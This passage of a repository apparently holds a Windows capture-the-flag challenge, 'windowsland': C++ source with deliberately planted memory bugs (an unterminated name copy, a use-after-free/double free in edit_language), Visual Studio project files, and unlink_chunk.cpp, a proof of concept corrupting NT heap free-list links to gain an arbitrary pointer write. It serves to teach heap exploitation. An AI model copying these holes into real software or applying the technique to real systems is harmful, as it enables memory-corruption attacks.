SIZE_T age; 64 | public: 65 | Human() { 66 | } 67 | ~Human() { 68 | } 69 | Human(SIZE_T age, CONST CHAR* name) : age(age) { 70 | set_name(name); 71 | } 72 | Human(const Human &h2) : age(h2.age) { 73 | set_name(h2.name); 74 | } 75 | SIZE_T get_age() { return age; } 76 | CHAR* get_name() { return name; } 77 | void set_name(CONST CHAR* name_) { memcpy(name, name_, sizeof(name) - 1); } /* BUG: leak without NULL */ 78 | }; 79 | 80 | const CHAR* college_name[] = { "NTU", "NCTU", "NCU", "NTUST" }; 81 | 82 | class Teacher : public Human { 83 | CONST CHAR* college; 84 | CHAR subject[0x10]; 85 | public: 86 | Teacher() { 87 | } 88 | ~Teacher() { 89 | } 90 | Teacher(Human h, SIZE_T college_id, CHAR* sub) : Human(h), college(college_name[college_id]) { 91 | set_subject(sub); 92 | } 93 | Teacher(const Teacher &t2) : Human(t2), college(t2.college) { 94 | set_subject((CHAR*)(t2).subject); 95 | } 96 | CONST CHAR* get_college() { return college; } 97 | CHAR* get_subject() { return subject; } 98 | void set_subject(CHAR* subject_) { memcpy(subject, subject_, sizeof(subject) - 1); } 99 | }; 100 | 101 | const CHAR* engineer_title[] = { "Engineer", "Sr. Engineer", "Staff", "Sr. Staff", "Architect" }; 102 | 103 | class Engineer : public Human { 104 | CHAR* language; 105 | CONST CHAR* title; 106 | SIZE_T salary; 107 | public: 108 | Engineer() { 109 | } 110 | ~Engineer() { 111 | if (language) free(language); 112 | } 113 | Engineer(Human h, SIZE_T title_id, SIZE_T salary_, CHAR* lang) : Human(h), salary(salary_), title(engineer_title[title_id]), language(NULL) { 114 | set_language(lang); 115 | } 116 | Engineer(const Engineer &e2) : Human(e2), salary(e2.salary), title(e2.title), language(e2.language) { 117 | set_language((CHAR*)(e2).language); 118 | } 119 | SIZE_T get_salary() { return salary; } 120 | CONST CHAR* get_title() { return title; } 121 | CHAR* get_language() { return language; } 122 | void set_language(CHAR* lang_) { 123 | if (lang_ && strcmp(lang_, "")) { 124 | dup_language(lang_); 125 | } 126 | } 127 | void edit_language(CHAR* lang_) { 128 | if (lang_ && strcmp(lang_, "")) { 129 | if (language) { 130 | memcpy(language, lang_, 0x18 - 1); 131 | } 132 | else { 133 | dup_language(lang_); 134 | } 135 | return; 136 | } 137 | if (language) { 138 | free(language); /* BUG: UAF/double free */ 139 | } 140 | } 141 | void dup_language(CHAR* lang_) { 142 | language = (CHAR*)malloc(0x200+RANDOM_PAD); 143 | memcpy(language, lang_, 0x18 - 1); 144 | } 145 | }; 146 | 147 | class Doctor : public Human { 148 | SIZE_T sleep; 149 | CHAR hospital[0x10]; 150 | public: 151 | Doctor() { 152 | } 153 | ~Doctor() { 154 | } 155 | Doctor(Human h, CHAR* hospital_, SIZE_T sleep_) : Human(h), sleep(sleep_) { 156 | set_hospital(hospital_); 157 | } 158 | Doctor(const Doctor &d2) : Human(d2), sleep(d2.sleep) { 159 | set_hospital((CHAR*)d2.hospital); 160 | } 161 | SIZE_T get_sleep() { return sleep; } 162 | CHAR* get_hospital() { return hospital; } 163 | void set_hospital(CHAR* hospital_) { memcpy(hospital, hospital_, sizeof(hospital) - 1); } 164 | }; 165 | 166 | 167 | CONST CHAR* country_list[] = { "Taiwan", "Japan", "Korea" }; 168 | class Athlete : public Human { 169 | CONST CHAR* country; 170 | CHAR sport[0x10]; 171 | public: 172 | Athlete() { 173 | } 174 | ~Athlete() { 175 | } 176 | Athlete(Human h, SIZE_T country_id, CHAR* sport) : Human(h), country(country_list[country_id]) { 177 | set_sport(sport); 178 | } 179 | Athlete(const Athlete &a2) : Human(a2), country(a2.country) { 180 | set_sport((CHAR*)(a2).sport); 181 | } 182 | CONST CHAR* get_country() { return country; } 183 | CHAR* get_sport() { return sport; } 184 | void set_sport(CHAR* sport_) { memcpy(sport, sport_, sizeof(sport) - 1); } 185 | }; 186 | 187 | 188 | const CHAR* animal_kind[] = { "Happy Pig", "Lazy Pig", "Extraordinary Pig" }; 189 | 190 | class Pig : public Human { 191 | CONST CHAR* kind; 192 | SIZE_T weight; 193 | SIZE_T height; 194 | public: 195 | Pig() { 196 | } 197 | ~Pig() { 198 | } 199 | Pig(Human h, SIZE_T kind_id, SIZE_T weight_, SIZE_T height_) : Human(h), weight(weight_), height(height_), kind(animal_kind[kind_id]) { 200 | } 201 | Pig(const Pig &p2) : Human(p2), weight(p2.weight), height(p2.height), kind(p2.kind) { 202 | } 203 | SIZE_T get_weight() { return weight; } 204 | SIZE_T get_height() { return height; } 205 | CONST CHAR* get_kind() { return kind; } 206 | }; 207 | 208 | 209 | 210 | 211 | 212 | 213 | 214 | 215 | vector t; 216 | vector e; 217 | vector d; 218 | vector a; 219 | vector p; 220 | 221 | SIZE_T which_kind() { 222 | printf("1) Teacher\n" 223 | "2) Engineer\n" 224 | "3) Doctor\n" 225 | "4) Athlete\n" 226 | "5) Pig\n" 227 | "What kind of human> "); 228 | return read_num(); 229 | } 230 | 231 | #define CREATE__(list, id, msg) { \ 232 | for (int i = 0; i < sizeof(list) / sizeof(CHAR*); i++) { \ 233 | printf("%d) %s\n", i+1, list[i]); \ 234 | } \ 235 | printf(msg); \ 236 | id = read_num() - 1; \ 237 | SIZE_T limit = sizeof(list) / sizeof(CHAR*) - 1; \ 238 | if (id > limit) id = limit; \ 239 | } 240 | 241 | 242 | void create_() { 243 | CHAR buf[0x100] = { 0 }; 244 | CHAR name[0x100] = { 0 }; 245 | 246 | printf("age> "); 247 | SIZE_T age = read_num(); 248 | printf("name> "); 249 | SIZE_T n = read_line(name, sizeof(name)); 250 | Human h(age, name); 251 | 252 | switch (which_kind()) { 253 | case 1: 254 | { 255 | SIZE_T cid = 0; 256 | CREATE__(college_name, cid, "Which college> ") 257 | printf("What subject> "); 258 | read_line(buf, sizeof(buf)); 259 | Teacher tt(h, cid, buf); 260 | t.push_back(tt); 261 | } 262 | break; 263 | 264 | case 2: 265 | { 266 | printf("What salary> "); 267 | SIZE_T s = read_num(); 268 | SIZE_T tid = 0; 269 | CREATE__(engineer_title, tid, "Which title> ") 270 | printf("What language> "); 271 | read_line(buf, sizeof(buf)); 272 | Engineer ee(h, tid, s, buf); 273 | e.push_back(ee); 274 | } 275 | break; 276 | 277 | case 3: 278 | { 279 | printf("How long> "); 280 | SIZE_T sleep = read_num(); 281 | printf("Which hospital> "); 282 | read_line(buf, sizeof(buf)); 283 | Doctor dd(h, buf, sleep); 284 | d.push_back(dd); 285 | } 286 | break; 287 | 288 | case 4: 289 | { 290 | SIZE_T cid = 0; 291 | CREATE__(country_list, cid, "Which country> ") 292 | printf("What sport> "); 293 | read_line(buf, sizeof(buf)); 294 | Athlete aa(h, cid, buf); 295 | a.push_back(aa); 296 | } 297 | break; 298 | 299 | case 5: 300 | { 301 | printf("How heavy> "); 302 | SIZE_T weight = read_num(); 303 | printf("How tall> "); 304 | SIZE_T height = read_num(); 305 | 306 | SIZE_T kid = 0; 307 | CREATE__(animal_kind, kid, "Which kind> ") 308 | Pig pp(h, kid, weight, height); 309 | p.push_back(pp); 310 | } 311 | break; 312 | 313 | default: 314 | { 315 | printf("Error\n"); 316 | } 317 | break; 318 | } 319 | } 320 | 321 | void list_() { 322 | for (SIZE_T i = 0; i < t.size(); ++i) { 323 | printf("Teacher %s(%d) worked at %s, he teaches %s\n", t[i].get_name(), t[i].get_age(), t[i].get_college(), t[i].get_subject()); 324 | } 325 | for (SIZE_T i = 0; i < e.size(); ++i) { 326 | printf("Engineer %s(%d) was promoted as %s, his salary is around %d\n", e[i].get_name(), e[i].get_age(), e[i].get_title(), e[i].get_salary()); 327 | } 328 | for (SIZE_T i = 0; i < d.size(); ++i) { 329 | printf("Doctor %s(%d) worked at %s hospital, he only sleeps %d everyday\n", d[i].get_name(), d[i].get_age(), d[i].get_hospital(), d[i].get_sleep()); 330 | } 331 | for (SIZE_T i = 0; i < a.size(); ++i) { 332 | printf("Athlete %s(%d) is from %s and plays %s\n", a[i].get_name(), a[i].get_age(), a[i].get_country(), a[i].get_sport()); 333 | } 334 | for (SIZE_T i = 0; i < p.size(); ++i) { 335 | printf("Pig %s(%d) is too fat, his BMI is around %d, he wants to become a %s\n", p[i].get_name(), p[i].get_age(), p[i].get_weight() / p[i].get_height() * p[i].get_height(), p[i].get_kind()); 336 | } 337 | } 338 | 339 | #define DELETE__(type) { \ 340 | for (SIZE_T i = 0; i < type.size(); ++i) { \ 341 | if (!strcmp((type[i]).get_name(), buf)) { \ 342 | type.erase(type.begin() + i); \ 343 | printf("delete succeed\n"); \ 344 | return; \ 345 | } \ 346 | } \ 347 | printf("delete failed\n"); \ 348 | } 349 | 350 | void delete_() { 351 | CHAR buf[0x100] = { 0 }; 352 | SIZE_T kind = which_kind(); 353 | printf("name> "); 354 | read_line(buf, sizeof(buf)); 355 | switch (kind) { 356 | case 1: DELETE__(t) break; 357 | case 2: DELETE__(e) break; 358 | case 3: DELETE__(d) break; 359 | case 4: DELETE__(a) break; 360 | case 5: DELETE__(p) break; 361 | default: printf("Error\n"); break; 362 | } 363 | } 364 | 365 | #define EDIT__(v, msg, func) { \ 366 | for (SIZE_T i = 0; i < v.size(); ++i) { \ 367 | if (!strcmp(v[i].get_name(), buf)) { \ 368 | printf(msg); \ 369 | memset(buf, 0, sizeof(buf)); \ 370 | read_line(buf, sizeof(buf)); \ 371 | v[i].func(buf); \ 372 | printf("edit succeed\n"); \ 373 | return; \ 374 | } \ 375 | } \ 376 | printf("edit failed\n"); \ 377 | } 378 | 379 | void edit_() { 380 | CHAR buf[0x100] = { 0 }; 381 | SIZE_T kind = which_kind(); 382 | printf("name> "); 383 | read_line(buf, sizeof(buf)); 384 | switch (kind) { 385 | case 1: EDIT__(t, "What subject> ", set_subject) break; 386 | case 2: EDIT__(e, "What language> ", edit_language) break; 387 | case 3: EDIT__(d, "Which hospital> ", set_hospital) break; 388 | case 4: EDIT__(a, "What sport> ", set_sport) break; 389 | case 5: printf("Sorry, you are not allowed\n"); break; 390 | default: printf("Error\n"); break; 391 | } 392 | } 393 | 394 | 395 | void motd() { 396 | SIZE_T i = strlen(question); 397 | printf( 398 | "__ ___ _ _ _\n" 399 | "\\ \\ / (_)_ __ __| | _____ _____| | __ _ _ __ __| |\n" 400 | " \\ \\ /\\ / /| | '_ \\ / _` |/ _ \\ \\ /\\ / / __| | / _` | '_ \\ / _` |\n" 401 | " \\ V V / | | | | | (_| | (_) \\ V V /\\__ \\ |__| (_| | | | | (_| |\n" 402 | " \\_/\\_/ |_|_| |_|\\__,_|\\___/ \\_/\\_/ |___/_____\\__,_|_| |_|\\__,_|\n\n"); 403 | } 404 | 405 | BYTE random_byte() { 406 | HCRYPTPROV hCryptProv; 407 | BYTE pbData[1]; 408 | 409 | if (!CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) goto ERR; 410 | if (!CryptGenRandom(hCryptProv, sizeof(pbData), pbData)) goto ERR; 411 | if (!CryptReleaseContext(hCryptProv, 0)) goto ERR; 412 | return pbData[0]; 413 | ERR: 414 | printf("Error %x\n", GetLastError()); 415 | return 0; 416 | } 417 | void init() { 418 | RANDOM_PAD = random_byte(); 419 | RANDOM_PAD &= 0xF0; 420 | } 421 | 422 | 423 | 424 | 425 | 426 | int main(int argc, char* argv[]) 427 | { 428 | setvbuf(stdin, NULL, _IONBF, 0); 429 | setvbuf(stdout, NULL, _IONBF, 0); 430 | setvbuf(stderr, NULL, _IONBF, 0); 431 | 432 | CHAR cmd[0x180]; 433 | motd(); 434 | init(); 435 | for (;;) { 436 | memset(cmd, 0, sizeof(cmd)); 437 | printf(">> "); 438 | read_line(cmd, sizeof(cmd)); 439 | if (!strcmp(cmd, "exit")) break; 440 | else if (!strcmp(cmd, "create")) create_(); 441 | else if (!strcmp(cmd, "list")) list_(); 442 | else if (!strcmp(cmd, "edit")) edit_(); 443 | else if (!strcmp(cmd, "delete")) delete_(); 444 | else { 445 | usage(); 446 | break; 447 | } 448 | } 449 | 450 | printf("Bye!\n"); 451 | Sleep(100); 452 | return 0; 453 | } 454 | 455 | -------------------------------------------------------------------------------- /src/windowsland/windowsland.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.27703.2047 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "windowsland", "windowsland.vcxproj", "{86FB7445-3849-45D7-8C25-43F587795413}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {86FB7445-3849-45D7-8C25-43F587795413}.Debug|x64.ActiveCfg = Debug|x64 17 | {86FB7445-3849-45D7-8C25-43F587795413}.Debug|x64.Build.0 = Debug|x64 18 | {86FB7445-3849-45D7-8C25-43F587795413}.Debug|x86.ActiveCfg = Debug|Win32 19 | {86FB7445-3849-45D7-8C25-43F587795413}.Debug|x86.Build.0 = Debug|Win32 20 | {86FB7445-3849-45D7-8C25-43F587795413}.Release|x64.ActiveCfg = Release|x64 21 | {86FB7445-3849-45D7-8C25-43F587795413}.Release|x64.Build.0 = Release|x64 22 | {86FB7445-3849-45D7-8C25-43F587795413}.Release|x86.ActiveCfg = Release|Win32 23 | {86FB7445-3849-45D7-8C25-43F587795413}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {A755081F-1992-4680-9C25-243FCB2F5582} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /src/windowsland/windowsland.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 15.0 23 | {86FB7445-3849-45D7-8C25-43F587795413} 24 | windowsland 25 | 10.0.17134.0 26 | 27 | 28 | 29 | Application 30 | true 31 | v141 32 | MultiByte 33 | 34 | 35 | Application 36 | false 37 | v141 38 | true 39 | MultiByte 40 | 41 | 42 | Application 43 | true 44 | v141 45 | MultiByte 46 | 47 | 48 | Application 49 | false 50 | v141 51 | true 52 | MultiByte 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | Level3 76 | Disabled 77 | true 78 | true 79 | 80 | 81 | 82 | 83 | Level3 84 | Disabled 85 | true 86 | true 87 | 88 | 89 | 90 | 91 | Level3 92 | MaxSpeed 93 | true 94 | true 95 | true 96 | true 97 | 98 | 99 | true 100 | true 101 | 102 | 103 | 104 | 105 | Level3 106 | MaxSpeed 107 | true 108 | true 109 | true 110 | true 111 | Guard 112 | 113 | 114 | true 115 | true 116 | ntdll.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | -------------------------------------------------------------------------------- /src/windowsland/windowsland.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | -------------------------------------------------------------------------------- /src/windowsland/windowsland.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /unlink_chunk.cpp: -------------------------------------------------------------------------------- 1 | #define _CRT_SECURE_NO_WARNINGS 1 2 | #include 3 | #include 4 | #include 5 | using namespace std; 6 | 7 | size_t target = 0; 8 | void unlink_and_arbitrary_write_pointer() { 9 | #ifndef _WIN64 10 | printf("Tested under x64\n"); 11 | #endif 12 | 13 | HANDLE hHeap = HeapCreate(HEAP_GROWABLE, 0, 0); 14 | 15 | HeapAlloc(hHeap, 0, 0x28); 16 | void *p1 = HeapAlloc(hHeap, 0, 0x108); 17 | void *p2 = HeapAlloc(hHeap, 0, 0x108); 18 | HeapAlloc(hHeap, 0, 0x28); 19 | void *p3 = HeapAlloc(hHeap, 0, 0x108); 20 | HeapAlloc(hHeap, 0, 0x28); 21 | 22 | HeapFree(hHeap, 0, p2); 23 | printf("p2 is the vulnerable chunk and plan to merge with p1 later\n"); 24 | HeapFree(hHeap, 0, p3); 25 | /* 26 | assume that p3 does not exist here 27 | during unlink, p2 is matched on ListHints and ready to update the bitmap 28 | assertion is trigger due to decrypting the decrypted _HEAP_ENTRY 29 | 30 | that is the necessary for p3 here 31 | it is freed and placed in ListHints instead of p2 32 | then, the assertion will not be triggered 33 | */ 34 | printf("p1 %p\n", p1); // 0x00000200d15b0760 35 | printf("p2 %p\n", p2); // 0x00000200d15b0870 36 | printf("p3 %p\n", p3); // 0x00000200d15b09b0 37 | 38 | if ((size_t)p1 + 0x110 != (size_t)p2) { 39 | printf("p1 and p2 will not merge\n"); 40 | return; 41 | } 42 | target = (size_t)p2; 43 | printf("target %p\n", &target); 44 | 45 | printf("overwrite p2 flink/blink\n"); 46 | // satisfy p2->flink->blink == p2->blink->flink == p2 47 | *((size_t*)(p2)) = (size_t)&target - 8; 48 | *((size_t*)((size_t)p2 + 8)) = (size_t)⌖ 49 | printf("target = %zx\n", target); 50 | size_t old_target = target; 51 | 52 | /* 53 | now, freelist is corrupted 54 | 0:000> dl 00000200d15b0150 f 2 55 | 00000200`d15b0150 00000200`d15b09b0 00000200`d15b0af0 56 | 00000200`d15b09b0 00000200`d15b0870 00000200`d15b0150 // p3 57 | 00000200`d15b0870 00007ff7`84135630 00007ff7`84135638 // p2 58 | 00007ff7`84135630 00000000`00000002 00000200`d15b0870 // target 59 | */ 60 | printf("free p1, trigger unlink\n"); 61 | HeapFree(hHeap, 0, p1); 62 | printf("target = %zx\n", target); 63 | if (old_target != target) { 64 | printf("target overwrite done, target = &target\n"); 65 | } 66 | else { 67 | printf("target overwrite failed\n"); 68 | } 69 | } 70 | 71 | int main() { 72 | /* 73 | condition: 74 | no LFH 75 | overwrite freed chunk flink/blink 76 | a dangling pointer points to the freed chunk and its address 77 | */ 78 | unlink_and_arbitrary_write_pointer(); 79 | return 1; 80 | } 81 | -------------------------------------------------------------------------------- /windowsland-d3e65ef1fd3d6a0a452a75b7d5c85212.rar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wmliang/windowsland/dcfc20bab82f5edfb90d2666edafbcde055f64d0/windowsland-d3e65ef1fd3d6a0a452a75b7d5c85212.rar --------------------------------------------------------------------------------